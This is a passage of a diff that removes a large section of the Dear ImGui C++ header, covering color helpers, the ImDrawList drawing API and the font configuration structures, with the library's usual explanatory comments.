-1; Begin(items_count, items_height); } // [removed in 1.79] -#endif -}; - -// Helpers macros to generate 32-bit encoded colors -#ifdef IMGUI_USE_BGRA_PACKED_COLOR -#define IM_COL32_R_SHIFT 16 -#define IM_COL32_G_SHIFT 8 -#define IM_COL32_B_SHIFT 0 -#define IM_COL32_A_SHIFT 24 -#define IM_COL32_A_MASK 0xFF000000 -#else -#define IM_COL32_R_SHIFT 0 -#define IM_COL32_G_SHIFT 8 -#define IM_COL32_B_SHIFT 16 -#define IM_COL32_A_SHIFT 24 -#define IM_COL32_A_MASK 0xFF000000 -#endif -#define IM_COL32(R,G,B,A) (((ImU32)(A)<> IM_COL32_R_SHIFT) & 0xFF) * sc; Value.y = (float)((rgba >> IM_COL32_G_SHIFT) & 0xFF) * sc; Value.z = (float)((rgba >> IM_COL32_B_SHIFT) & 0xFF) * sc; Value.w = (float)((rgba >> IM_COL32_A_SHIFT) & 0xFF) * sc; } - ImColor(float r, float g, float b, float a = 1.0f) { Value.x = r; Value.y = g; Value.z = b; Value.w = a; } - ImColor(const ImVec4& col) { Value = col; } - inline operator ImU32() const { return ImGui::ColorConvertFloat4ToU32(Value); } - inline operator ImVec4() const { return Value; } - - // FIXME-OBSOLETE: May need to obsolete/cleanup those helpers. - inline void SetHSV(float h, float s, float v, float a = 1.0f) { ImGui::ColorConvertHSVtoRGB(h, s, v, Value.x, Value.y, Value.z); Value.w = a; } - static ImColor HSV(float h, float s, float v, float a = 1.0f) { float r, g, b; ImGui::ColorConvertHSVtoRGB(h, s, v, r, g, b); return ImColor(r, g, b, a); } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Drawing API (ImDrawCmd, ImDrawIdx, ImDrawVert, ImDrawChannel, ImDrawListSplitter, ImDrawListFlags, ImDrawList, ImDrawData) -// Hold a series of drawing commands. The user provides a renderer for ImDrawData which essentially contains an array of ImDrawList. -//----------------------------------------------------------------------------- - -// The maximum line width to bake anti-aliased textures for. Build atlas with ImFontAtlasFlags_NoBakedLines to disable baking. -#ifndef IM_DRAWLIST_TEX_LINES_WIDTH_MAX -#define IM_DRAWLIST_TEX_LINES_WIDTH_MAX (63) -#endif - -// ImDrawCallback: Draw callbacks for advanced uses [configurable type: override in imconfig.h] -// NB: You most likely do NOT need to use draw callbacks just to create your own widget or customized UI rendering, -// you can poke into the draw list for that! Draw callback may be useful for example to: -// A) Change your GPU render state, -// B) render a complex 3D scene inside a UI element without an intermediate texture/render target, etc. -// The expected behavior from your rendering function is 'if (cmd.UserCallback != NULL) { cmd.UserCallback(parent_list, cmd); } else { RenderTriangles() }' -// If you want to override the signature of ImDrawCallback, you can simply use e.g. '#define ImDrawCallback MyDrawCallback' (in imconfig.h) + update rendering backend accordingly. -#ifndef ImDrawCallback -typedef void (*ImDrawCallback)(const ImDrawList* parent_list, const ImDrawCmd* cmd); -#endif - -// Special Draw callback value to request renderer backend to reset the graphics/render state. -// The renderer backend needs to handle this special value, otherwise it will crash trying to call a function at this address. -// This is useful for example if you submitted callbacks which you know have altered the render state and you want it to be restored. -// It is not done by default because they are many perfectly useful way of altering render state for imgui contents (e.g. changing shader/blending settings before an Image call). -#define ImDrawCallback_ResetRenderState (ImDrawCallback)(-1) - -// Typically, 1 command = 1 GPU draw call (unless command is a callback) -// - VtxOffset/IdxOffset: When 'io.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset' is enabled, -// those fields allow us to render meshes larger than 64K vertices while keeping 16-bit indices. -// Pre-1.71 backends will typically ignore the VtxOffset/IdxOffset fields. -// - The ClipRect/TextureId/VtxOffset fields must be contiguous as we memcmp() them together (this is asserted for). -struct ImDrawCmd -{ - ImVec4 ClipRect; // 4*4 // Clipping rectangle (x1, y1, x2, y2). Subtract ImDrawData->DisplayPos to get clipping rectangle in "viewport" coordinates - ImTextureID TextureId; // 4-8 // User-provided texture ID. Set by user in ImfontAtlas::SetTexID() for fonts or passed to Image*() functions. Ignore if never using images or multiple fonts atlas. - unsigned int VtxOffset; // 4 // Start offset in vertex buffer. ImGuiBackendFlags_RendererHasVtxOffset: always 0, otherwise may be >0 to support meshes larger than 64K vertices with 16-bit indices. - unsigned int IdxOffset; // 4 // Start offset in index buffer. Always equal to sum of ElemCount drawn so far. - unsigned int ElemCount; // 4 // Number of indices (multiple of 3) to be rendered as triangles. Vertices are stored in the callee ImDrawList's vtx_buffer[] array, indices in idx_buffer[]. - ImDrawCallback UserCallback; // 4-8 // If != NULL, call the function instead of rendering the vertices. clip_rect and texture_id will be set normally. - void* UserCallbackData; // 4-8 // The draw callback code can access this. - - ImDrawCmd() { memset(this, 0, sizeof(*this)); } // Also ensure our padding fields are zeroed -}; - -// Vertex index, default to 16-bit -// To allow large meshes with 16-bit indices: set 'io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset' and handle ImDrawCmd::VtxOffset in the renderer backend (recommended). -// To use 32-bit indices: override with '#define ImDrawIdx unsigned int' in imconfig.h. -#ifndef ImDrawIdx -typedef unsigned short ImDrawIdx; -#endif - -// Vertex layout -#ifndef IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT -struct ImDrawVert -{ - ImVec2 pos; - ImVec2 uv; - ImU32 col; -}; -#else -// You can override the vertex format layout by defining IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT in imconfig.h -// The code expect ImVec2 pos (8 bytes), ImVec2 uv (8 bytes), ImU32 col (4 bytes), but you can re-order them or add other fields as needed to simplify integration in your engine. -// The type has to be described within the macro (you can either declare the struct or use a typedef). This is because ImVec2/ImU32 are likely not declared a the time you'd want to set your type up. -// NOTE: IMGUI DOESN'T CLEAR THE STRUCTURE AND DOESN'T CALL A CONSTRUCTOR SO ANY CUSTOM FIELD WILL BE UNINITIALIZED. IF YOU ADD EXTRA FIELDS (SUCH AS A 'Z' COORDINATES) YOU WILL NEED TO CLEAR THEM DURING RENDER OR TO IGNORE THEM. -IMGUI_OVERRIDE_DRAWVERT_STRUCT_LAYOUT; -#endif - -// [Internal] For use by ImDrawList -struct ImDrawCmdHeader -{ - ImVec4 ClipRect; - ImTextureID TextureId; - unsigned int VtxOffset; -}; - -// [Internal] For use by ImDrawListSplitter -struct ImDrawChannel -{ - ImVector _CmdBuffer; - ImVector _IdxBuffer; -}; - - -// Split/Merge functions are used to split the draw list into different layers which can be drawn into out of order. -// This is used by the Columns/Tables API, so items of each column can be batched together in a same draw call. -struct ImDrawListSplitter -{ - int _Current; // Current channel number (0) - int _Count; // Number of active channels (1+) - ImVector _Channels; // Draw channels (not resized down so _Count might be < Channels.Size) - - inline ImDrawListSplitter() { memset(this, 0, sizeof(*this)); } - inline ~ImDrawListSplitter() { ClearFreeMemory(); } - inline void Clear() { _Current = 0; _Count = 1; } // Do not clear Channels[] so our allocations are reused next frame - IMGUI_API void ClearFreeMemory(); - IMGUI_API void Split(ImDrawList* draw_list, int count); - IMGUI_API void Merge(ImDrawList* draw_list); - IMGUI_API void SetCurrentChannel(ImDrawList* draw_list, int channel_idx); -}; - -// Flags for ImDrawList functions -// (Legacy: bit 0 must always correspond to ImDrawFlags_Closed to be backward compatible with old API using a bool. Bits 1..3 must be unused) -enum ImDrawFlags_ -{ - ImDrawFlags_None = 0, - ImDrawFlags_Closed = 1 << 0, // PathStroke(), AddPolyline(): specify that shape should be closed (Important: this is always == 1 for legacy reason) - ImDrawFlags_RoundCornersTopLeft = 1 << 4, // AddRect(), AddRectFilled(), PathRect(): enable rounding top-left corner only (when rounding > 0.0f, we default to all corners). Was 0x01. - ImDrawFlags_RoundCornersTopRight = 1 << 5, // AddRect(), AddRectFilled(), PathRect(): enable rounding top-right corner only (when rounding > 0.0f, we default to all corners). Was 0x02. - ImDrawFlags_RoundCornersBottomLeft = 1 << 6, // AddRect(), AddRectFilled(), PathRect(): enable rounding bottom-left corner only (when rounding > 0.0f, we default to all corners). Was 0x04. - ImDrawFlags_RoundCornersBottomRight = 1 << 7, // AddRect(), AddRectFilled(), PathRect(): enable rounding bottom-right corner only (when rounding > 0.0f, we default to all corners). Wax 0x08. - ImDrawFlags_RoundCornersNone = 1 << 8, // AddRect(), AddRectFilled(), PathRect(): disable rounding on all corners (when rounding > 0.0f). This is NOT zero, NOT an implicit flag! - ImDrawFlags_RoundCornersTop = ImDrawFlags_RoundCornersTopLeft | ImDrawFlags_RoundCornersTopRight, - ImDrawFlags_RoundCornersBottom = ImDrawFlags_RoundCornersBottomLeft | ImDrawFlags_RoundCornersBottomRight, - ImDrawFlags_RoundCornersLeft = ImDrawFlags_RoundCornersBottomLeft | ImDrawFlags_RoundCornersTopLeft, - ImDrawFlags_RoundCornersRight = ImDrawFlags_RoundCornersBottomRight | ImDrawFlags_RoundCornersTopRight, - ImDrawFlags_RoundCornersAll = ImDrawFlags_RoundCornersTopLeft | ImDrawFlags_RoundCornersTopRight | ImDrawFlags_RoundCornersBottomLeft | ImDrawFlags_RoundCornersBottomRight, - ImDrawFlags_RoundCornersDefault_ = ImDrawFlags_RoundCornersAll, // Default to ALL corners if none of the _RoundCornersXX flags are specified. - ImDrawFlags_RoundCornersMask_ = ImDrawFlags_RoundCornersAll | ImDrawFlags_RoundCornersNone -}; - -// Flags for ImDrawList instance. Those are set automatically by ImGui:: functions from ImGuiIO settings, and generally not manipulated directly. -// It is however possible to temporarily alter flags between calls to ImDrawList:: functions. -enum ImDrawListFlags_ -{ - ImDrawListFlags_None = 0, - ImDrawListFlags_AntiAliasedLines = 1 << 0, // Enable anti-aliased lines/borders (*2 the number of triangles for 1.0f wide line or lines thin enough to be drawn using textures, otherwise *3 the number of triangles) - ImDrawListFlags_AntiAliasedLinesUseTex = 1 << 1, // Enable anti-aliased lines/borders using textures when possible. Require backend to render with bilinear filtering. - ImDrawListFlags_AntiAliasedFill = 1 << 2, // Enable anti-aliased edge around filled shapes (rounded rectangles, circles). - ImDrawListFlags_AllowVtxOffset = 1 << 3 // Can emit 'VtxOffset > 0' to allow large meshes. Set when 'ImGuiBackendFlags_RendererHasVtxOffset' is enabled. -}; - -// Draw command list -// This is the low-level list of polygons that ImGui:: functions are filling. At the end of the frame, -// all command lists are passed to your ImGuiIO::RenderDrawListFn function for rendering. -// Each dear imgui window contains its own ImDrawList. You can use ImGui::GetWindowDrawList() to -// access the current window draw list and draw custom primitives. -// You can interleave normal ImGui:: calls and adding primitives to the current draw list. -// In single viewport mode, top-left is == GetMainViewport()->Pos (generally 0,0), bottom-right is == GetMainViewport()->Pos+Size (generally io.DisplaySize). -// You are totally free to apply whatever transformation matrix to want to the data (depending on the use of the transformation you may want to apply it to ClipRect as well!) -// Important: Primitives are always added to the list and not culled (culling is done at higher-level by ImGui:: functions), if you use this API a lot consider coarse culling your drawn objects. -struct ImDrawList -{ - // This is what you have to render - ImVector CmdBuffer; // Draw commands. Typically 1 command = 1 GPU draw call, unless the command is a callback. - ImVector IdxBuffer; // Index buffer. Each command consume ImDrawCmd::ElemCount of those - ImVector VtxBuffer; // Vertex buffer. - ImDrawListFlags Flags; // Flags, you may poke into these to adjust anti-aliasing settings per-primitive. - - // [Internal, used while building lists] - unsigned int _VtxCurrentIdx; // [Internal] generally == VtxBuffer.Size unless we are past 64K vertices, in which case this gets reset to 0. - const ImDrawListSharedData* _Data; // Pointer to shared draw data (you can use ImGui::GetDrawListSharedData() to get the one from current ImGui context) - const char* _OwnerName; // Pointer to owner window's name for debugging - ImDrawVert* _VtxWritePtr; // [Internal] point within VtxBuffer.Data after each add command (to avoid using the ImVector<> operators too much) - ImDrawIdx* _IdxWritePtr; // [Internal] point within IdxBuffer.Data after each add command (to avoid using the ImVector<> operators too much) - ImVector _ClipRectStack; // [Internal] - ImVector _TextureIdStack; // [Internal] - ImVector _Path; // [Internal] current path building - ImDrawCmdHeader _CmdHeader; // [Internal] template of active commands. Fields should match those of CmdBuffer.back(). - ImDrawListSplitter _Splitter; // [Internal] for channels api (note: prefer using your own persistent instance of ImDrawListSplitter!) - float _FringeScale; // [Internal] anti-alias fringe is scaled by this value, this helps to keep things sharp while zooming at vertex buffer content - - // If you want to create ImDrawList instances, pass them ImGui::GetDrawListSharedData() or create and use your own ImDrawListSharedData (so you can use ImDrawList without ImGui) - ImDrawList(const ImDrawListSharedData* shared_data) { memset(this, 0, sizeof(*this)); _Data = shared_data; } - - ~ImDrawList() { _ClearFreeMemory(); } - IMGUI_API void PushClipRect(ImVec2 clip_rect_min, ImVec2 clip_rect_max, bool intersect_with_current_clip_rect = false); // Render-level scissoring. This is passed down to your render function but not used for CPU-side coarse clipping. Prefer using higher-level ImGui::PushClipRect() to affect logic (hit-testing and widget culling) - IMGUI_API void PushClipRectFullScreen(); - IMGUI_API void PopClipRect(); - IMGUI_API void PushTextureID(ImTextureID texture_id); - IMGUI_API void PopTextureID(); - inline ImVec2 GetClipRectMin() const { const ImVec4& cr = _ClipRectStack.back(); return ImVec2(cr.x, cr.y); } - inline ImVec2 GetClipRectMax() const { const ImVec4& cr = _ClipRectStack.back(); return ImVec2(cr.z, cr.w); } - - // Primitives - // - For rectangular primitives, "p_min" and "p_max" represent the upper-left and lower-right corners. - // - For circle primitives, use "num_segments == 0" to automatically calculate tessellation (preferred). - // In older versions (until Dear ImGui 1.77) the AddCircle functions defaulted to num_segments == 12. - // In future versions we will use textures to provide cheaper and higher-quality circles. - // Use AddNgon() and AddNgonFilled() functions if you need to guaranteed a specific number of sides. - IMGUI_API void AddLine(const ImVec2& p1, const ImVec2& p2, ImU32 col, float thickness = 1.0f); - IMGUI_API void AddRect(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding = 0.0f, ImDrawFlags flags = 0, float thickness = 1.0f); // a: upper-left, b: lower-right (== upper-left + size) - IMGUI_API void AddRectFilled(const ImVec2& p_min, const ImVec2& p_max, ImU32 col, float rounding = 0.0f, ImDrawFlags flags = 0); // a: upper-left, b: lower-right (== upper-left + size) - IMGUI_API void AddRectFilledMultiColor(const ImVec2& p_min, const ImVec2& p_max, ImU32 col_upr_left, ImU32 col_upr_right, ImU32 col_bot_right, ImU32 col_bot_left); - IMGUI_API void AddQuad(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness = 1.0f); - IMGUI_API void AddQuadFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col); - IMGUI_API void AddTriangle(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness = 1.0f); - IMGUI_API void AddTriangleFilled(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col); - IMGUI_API void AddCircle(const ImVec2& center, float radius, ImU32 col, int num_segments = 0, float thickness = 1.0f); - IMGUI_API void AddCircleFilled(const ImVec2& center, float radius, ImU32 col, int num_segments = 0); - IMGUI_API void AddNgon(const ImVec2& center, float radius, ImU32 col, int num_segments, float thickness = 1.0f); - IMGUI_API void AddNgonFilled(const ImVec2& center, float radius, ImU32 col, int num_segments); - IMGUI_API void AddText(const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end = NULL); - IMGUI_API void AddText(const ImFont* font, float font_size, const ImVec2& pos, ImU32 col, const char* text_begin, const char* text_end = NULL, float wrap_width = 0.0f, const ImVec4* cpu_fine_clip_rect = NULL); - IMGUI_API void AddPolyline(const ImVec2* points, int num_points, ImU32 col, ImDrawFlags flags, float thickness); - IMGUI_API void AddConvexPolyFilled(const ImVec2* points, int num_points, ImU32 col); // Note: Anti-aliased filling requires points to be in clockwise order. - IMGUI_API void AddBezierCubic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness, int num_segments = 0); // Cubic Bezier (4 control points) - IMGUI_API void AddBezierQuadratic(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, ImU32 col, float thickness, int num_segments = 0); // Quadratic Bezier (3 control points) - - // Image primitives - // - Read FAQ to understand what ImTextureID is. - // - "p_min" and "p_max" represent the upper-left and lower-right corners of the rectangle. - // - "uv_min" and "uv_max" represent the normalized texture coordinates to use for those corners. Using (0,0)->(1,1) texture coordinates will generally display the entire texture. - IMGUI_API void AddImage(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min = ImVec2(0, 0), const ImVec2& uv_max = ImVec2(1, 1), ImU32 col = IM_COL32_WHITE); - IMGUI_API void AddImageQuad(ImTextureID user_texture_id, const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& uv1 = ImVec2(0, 0), const ImVec2& uv2 = ImVec2(1, 0), const ImVec2& uv3 = ImVec2(1, 1), const ImVec2& uv4 = ImVec2(0, 1), ImU32 col = IM_COL32_WHITE); - IMGUI_API void AddImageRounded(ImTextureID user_texture_id, const ImVec2& p_min, const ImVec2& p_max, const ImVec2& uv_min, const ImVec2& uv_max, ImU32 col, float rounding, ImDrawFlags flags = 0); - - // Stateful path API, add points then finish with PathFillConvex() or PathStroke() - inline void PathClear() { _Path.Size = 0; } - inline void PathLineTo(const ImVec2& pos) { _Path.push_back(pos); } - inline void PathLineToMergeDuplicate(const ImVec2& pos) { if (_Path.Size == 0 || memcmp(&_Path.Data[_Path.Size - 1], &pos, 8) != 0) _Path.push_back(pos); } - inline void PathFillConvex(ImU32 col) { AddConvexPolyFilled(_Path.Data, _Path.Size, col); _Path.Size = 0; } // Note: Anti-aliased filling requires points to be in clockwise order. - inline void PathStroke(ImU32 col, ImDrawFlags flags = 0, float thickness = 1.0f) { AddPolyline(_Path.Data, _Path.Size, col, flags, thickness); _Path.Size = 0; } - IMGUI_API void PathArcTo(const ImVec2& center, float radius, float a_min, float a_max, int num_segments = 0); - IMGUI_API void PathArcToFast(const ImVec2& center, float radius, int a_min_of_12, int a_max_of_12); // Use precomputed angles for a 12 steps circle - IMGUI_API void PathBezierCubicCurveTo(const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, int num_segments = 0); // Cubic Bezier (4 control points) - IMGUI_API void PathBezierQuadraticCurveTo(const ImVec2& p2, const ImVec2& p3, int num_segments = 0); // Quadratic Bezier (3 control points) - IMGUI_API void PathRect(const ImVec2& rect_min, const ImVec2& rect_max, float rounding = 0.0f, ImDrawFlags flags = 0); - - // Advanced - IMGUI_API void AddCallback(ImDrawCallback callback, void* callback_data); // Your rendering function must check for 'UserCallback' in ImDrawCmd and call the function instead of rendering triangles. - IMGUI_API void AddDrawCmd(); // This is useful if you need to forcefully create a new draw call (to allow for dependent rendering / blending). Otherwise primitives are merged into the same draw-call as much as possible - IMGUI_API ImDrawList* CloneOutput() const; // Create a clone of the CmdBuffer/IdxBuffer/VtxBuffer. - - // Advanced: Channels - // - Use to split render into layers. By switching channels to can render out-of-order (e.g. submit FG primitives before BG primitives) - // - Use to minimize draw calls (e.g. if going back-and-forth between multiple clipping rectangles, prefer to append into separate channels then merge at the end) - // - FIXME-OBSOLETE: This API shouldn't have been in ImDrawList in the first place! - // Prefer using your own persistent instance of ImDrawListSplitter as you can stack them. - // Using the ImDrawList::ChannelsXXXX you cannot stack a split over another. - inline void ChannelsSplit(int count) { _Splitter.Split(this, count); } - inline void ChannelsMerge() { _Splitter.Merge(this); } - inline void ChannelsSetCurrent(int n) { _Splitter.SetCurrentChannel(this, n); } - - // Advanced: Primitives allocations - // - We render triangles (three vertices) - // - All primitives needs to be reserved via PrimReserve() beforehand. - IMGUI_API void PrimReserve(int idx_count, int vtx_count); - IMGUI_API void PrimUnreserve(int idx_count, int vtx_count); - IMGUI_API void PrimRect(const ImVec2& a, const ImVec2& b, ImU32 col); // Axis aligned rectangle (composed of two triangles) - IMGUI_API void PrimRectUV(const ImVec2& a, const ImVec2& b, const ImVec2& uv_a, const ImVec2& uv_b, ImU32 col); - IMGUI_API void PrimQuadUV(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& d, const ImVec2& uv_a, const ImVec2& uv_b, const ImVec2& uv_c, const ImVec2& uv_d, ImU32 col); - inline void PrimWriteVtx(const ImVec2& pos, const ImVec2& uv, ImU32 col) { _VtxWritePtr->pos = pos; _VtxWritePtr->uv = uv; _VtxWritePtr->col = col; _VtxWritePtr++; _VtxCurrentIdx++; } - inline void PrimWriteIdx(ImDrawIdx idx) { *_IdxWritePtr = idx; _IdxWritePtr++; } - inline void PrimVtx(const ImVec2& pos, const ImVec2& uv, ImU32 col) { PrimWriteIdx((ImDrawIdx)_VtxCurrentIdx); PrimWriteVtx(pos, uv, col); } // Write vertex with unique index - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - inline void AddBezierCurve(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, ImU32 col, float thickness, int num_segments = 0) { AddBezierCubic(p1, p2, p3, p4, col, thickness, num_segments); } - inline void PathBezierCurveTo(const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, int num_segments = 0) { PathBezierCubicCurveTo(p2, p3, p4, num_segments); } -#endif - - // [Internal helpers] - IMGUI_API void _ResetForNewFrame(); - IMGUI_API void _ClearFreeMemory(); - IMGUI_API void _PopUnusedDrawCmd(); - IMGUI_API void _OnChangedClipRect(); - IMGUI_API void _OnChangedTextureID(); - IMGUI_API void _OnChangedVtxOffset(); - IMGUI_API int _CalcCircleAutoSegmentCount(float radius) const; - IMGUI_API void _PathArcToFastEx(const ImVec2& center, float radius, int a_min_sample, int a_max_sample, int a_step); - IMGUI_API void _PathArcToN(const ImVec2& center, float radius, float a_min, float a_max, int num_segments); -}; - -// All draw data to render a Dear ImGui frame -// (NB: the style and the naming convention here is a little inconsistent, we currently preserve them for backward compatibility purpose, -// as this is one of the oldest structure exposed by the library! Basically, ImDrawList == CmdList) -struct ImDrawData -{ - bool Valid; // Only valid after Render() is called and before the next NewFrame() is called. - int CmdListsCount; // Number of ImDrawList* to render - int TotalIdxCount; // For convenience, sum of all ImDrawList's IdxBuffer.Size - int TotalVtxCount; // For convenience, sum of all ImDrawList's VtxBuffer.Size - ImDrawList** CmdLists; // Array of ImDrawList* to render. The ImDrawList are owned by ImGuiContext and only pointed to from here. - ImVec2 DisplayPos; // Top-left position of the viewport to render (== top-left of the orthogonal projection matrix to use) (== GetMainViewport()->Pos for the main viewport, == (0.0) in most single-viewport applications) - ImVec2 DisplaySize; // Size of the viewport to render (== GetMainViewport()->Size for the main viewport, == io.DisplaySize in most single-viewport applications) - ImVec2 FramebufferScale; // Amount of pixels for each unit of DisplaySize. Based on io.DisplayFramebufferScale. Generally (1,1) on normal display, (2,2) on OSX with Retina display. - - // Functions - ImDrawData() { Clear(); } - void Clear() { memset(this, 0, sizeof(*this)); } // The ImDrawList are owned by ImGuiContext! - IMGUI_API void DeIndexAllBuffers(); // Helper to convert all buffers from indexed to non-indexed, in case you cannot render indexed. Note: this is slow and most likely a waste of resources. Always prefer indexed rendering! - IMGUI_API void ScaleClipRects(const ImVec2& fb_scale); // Helper to scale the ClipRect field of each ImDrawCmd. Use if your final output buffer is at a different scale than Dear ImGui expects, or if there is a difference between your window resolution and framebuffer resolution. -}; - -//----------------------------------------------------------------------------- -// [SECTION] Font API (ImFontConfig, ImFontGlyph, ImFontAtlasFlags, ImFontAtlas, ImFontGlyphRangesBuilder, ImFont) -//----------------------------------------------------------------------------- - -struct ImFontConfig -{ - void* FontData; // // TTF/OTF data - int FontDataSize; // // TTF/OTF data size - bool FontDataOwnedByAtlas; // true // TTF/OTF data ownership taken by the container ImFontAtlas (will delete memory itself). - int FontNo; // 0 // Index of font within TTF/OTF file - float SizePixels; // // Size in pixels for rasterizer (more or less maps to the resulting font height). - int OversampleH; // 3 // Rasterize at higher quality for sub-pixel positioning. Note the difference between 2 and 3 is minimal so you can reduce this to 2 to save memory. Read https://github.com/nothings/stb/blob/master/tests/oversample/README.md for details. - int OversampleV; // 1 // Rasterize at higher quality for sub-pixel positioning. This is not really useful as we don't use sub-pixel positions on the Y axis. - bool PixelSnapH; // false // Align every glyph to pixel boundary. Useful e.g. if you are merging a non-pixel aligned font with the default font. If enabled, you can set OversampleH/V to 1. - ImVec2 GlyphExtraSpacing; // 0, 0 // Extra spacing (in pixels) between glyphs. Only X axis is supported for now. - ImVec2 GlyphOffset; // 0, 0 // Offset all glyphs from this font input. - const ImWchar* GlyphRanges; // NULL // Pointer to a user-provided list of Unicode range (2 value per range, values are inclusive, zero-terminated list). THE ARRAY DATA NEEDS TO PERSIST AS LONG AS THE FONT IS ALIVE. - float GlyphMinAdvanceX; // 0 // Minimum AdvanceX for glyphs, set Min to align font icons, set both Min/Max to enforce mono-space font - float GlyphMaxAdvanceX; // FLT_MAX // Maximum AdvanceX for glyphs - bool MergeMode; // false // Merge into previous ImFont, so you can combine multiple inputs font into one ImFont (e.g. ASCII font + icons + Japanese glyphs). You may want to use GlyphOffset.y when merge font of different heights. - unsigned int FontBuilderFlags; // 0 // Settings for custom font builder. THIS IS BUILDER IMPLEMENTATION DEPENDENT. Leave as zero if unsure. - float RasterizerMultiply; // 1.0f // Brighten (>1.0f) or darken (<1.0f) font output. Brightening small fonts may be a good workaround to make them more readable. - ImWchar EllipsisChar; // -1 // Explicitly specify unicode codepoint of ellipsis character. When fonts are being merged first specified ellipsis will be used. - - // [Internal] - char Name[40]; // Name (strictly to ease debugging) - ImFont* DstFont; - - IMGUI_API ImFontConfig(); -}; - -// Hold rendering data for one glyph. -// (Note: some language parsers may fail to convert the 31+1 bitfield members, in this case maybe drop store a single u32 or we can rework this) -struct ImFontGlyph -{ - unsigned int Colored : 1; // Flag to indicate glyph is colored and should generally ignore tinting (make it usable with no shift on little-endian as this is used in loops) - unsigned int Visible : 1; // Flag to indicate glyph has no visible pixels (e.g. space). Allow early out when rendering. - unsigned int Codepoint : 30; // 0x0000..0x10FFFF - float AdvanceX; // Distance to next character (= data from font + ImFontConfig::GlyphExtraSpacing.x baked in) - float X0, Y0, X1, Y1; // Glyph corners - float U0, V0, U1, V1; // Texture coordinates -}; - -// Helper to build glyph ranges from text/string data. Feed your application strings/characters to it then call BuildRanges(). -// This is essentially a tightly packed of vector of 64k booleans = 8KB storage. -struct ImFontGlyphRangesBuilder -{ - ImVector UsedChars; // Store 1-bit per Unicode code point (0=unused, 1=used) - - ImFontGlyphRangesBuilder() { Clear(); } - inline void Clear() { int size_in_bytes = (IM_UNICODE_CODEPOINT_MAX + 1) / 8; UsedChars.resize(size_in_bytes / (int)sizeof(ImU32)); memset(UsedChars.Data, 0, (size_t)size_in_bytes); } - inline bool GetBit(size_t n) const { int off = (int)(n >> 5); ImU32 mask = 1u << (n & 31); return (UsedChars[off] & mask) != 0; } // Get bit n in the array - inline void SetBit(size_t n) { int off = (int)(n >> 5); ImU32 mask = 1u << (n & 31); UsedChars[off] |= mask; } // Set bit n in the array - inline void AddChar(ImWchar c) { SetBit(c); } // Add character - IMGUI_API void AddText(const char* text, const char* text_end = NULL); // Add string (each character of the UTF-8 string are added) - IMGUI_API void AddRanges(const ImWchar* ranges); // Add ranges, e.g. builder.AddRanges(ImFontAtlas::GetGlyphRangesDefault()) to force add all of ASCII/Latin+Ext - IMGUI_API void BuildRanges(ImVector* out_ranges); // Output new ranges -}; - -// See ImFontAtlas::AddCustomRectXXX functions. -struct ImFontAtlasCustomRect -{ - unsigned short Width, Height; // Input // Desired rectangle dimension - unsigned short X, Y; // Output // Packed position in Atlas - unsigned int GlyphID; // Input // For custom font glyphs only (ID < 0x110000) - float GlyphAdvanceX; // Input // For custom font glyphs only: glyph xadvance - ImVec2 GlyphOffset; // Input // For custom font glyphs only: glyph display offset - ImFont* Font; // Input // For custom font glyphs only: target font - ImFontAtlasCustomRect() { Width = Height = 0; X = Y = 0xFFFF; GlyphID = 0; GlyphAdvanceX = 0.0f; GlyphOffset = ImVec2(0, 0); Font = NULL; } - bool IsPacked() const { return X != 0xFFFF; } -}; - -// Flags for ImFontAtlas build -enum ImFontAtlasFlags_ -{ - ImFontAtlasFlags_None = 0, - ImFontAtlasFlags_NoPowerOfTwoHeight = 1 << 0, // Don't round the height to next power of two - ImFontAtlasFlags_NoMouseCursors = 1 << 1, // Don't build software mouse cursors into the atlas (save a little texture memory) - ImFontAtlasFlags_NoBakedLines = 1 << 2 // Don't build thick line textures into the atlas (save a little texture memory). The AntiAliasedLinesUseTex features uses them, otherwise they will be rendered using polygons (more expensive for CPU/GPU). -}; - -// Load and rasterize multiple TTF/OTF fonts into a same texture. The font atlas will build a single texture holding: -// - One or more fonts. -// - Custom graphics data needed to render the shapes needed by Dear ImGui. -// - Mouse cursor shapes for software cursor rendering (unless setting 'Flags |= ImFontAtlasFlags_NoMouseCursors' in the font atlas). -// It is the user-code responsibility to setup/build the atlas, then upload the pixel data into a texture accessible by your graphics api. -// - Optionally, call any of the AddFont*** functions. If you don't call any, the default font embedded in the code will be loaded for you. -// - Call GetTexDataAsAlpha8() or GetTexDataAsRGBA32() to build and retrieve pixels data. -// - Upload the pixels data into a texture within your graphics system (see imgui_impl_xxxx.cpp examples) -// - Call SetTexID(my_tex_id); and pass the pointer/identifier to your texture in a format natural to your graphics API. -// This value will be passed back to you during rendering to identify the texture. Read FAQ entry about ImTextureID for more details. -// Common pitfalls: -// - If you pass a 'glyph_ranges' array to AddFont*** functions, you need to make sure that your array persist up until the -// atlas is build (when calling GetTexData*** or Build()). We only copy the pointer, not the data. -// - Important: By default, AddFontFromMemoryTTF() takes ownership of the data. Even though we are not writing to it, we will free the pointer on destruction. -// You can set font_cfg->FontDataOwnedByAtlas=false to keep ownership of your data and it won't be freed, -// - Even though many functions are suffixed with "TTF", OTF data is supported just as well. -// - This is an old API and it is currently awkward for those and and various other reasons! We will address them in the future! -struct ImFontAtlas -{ - IMGUI_API ImFontAtlas(); - IMGUI_API ~ImFontAtlas(); - IMGUI_API ImFont* AddFont(const ImFontConfig* font_cfg); 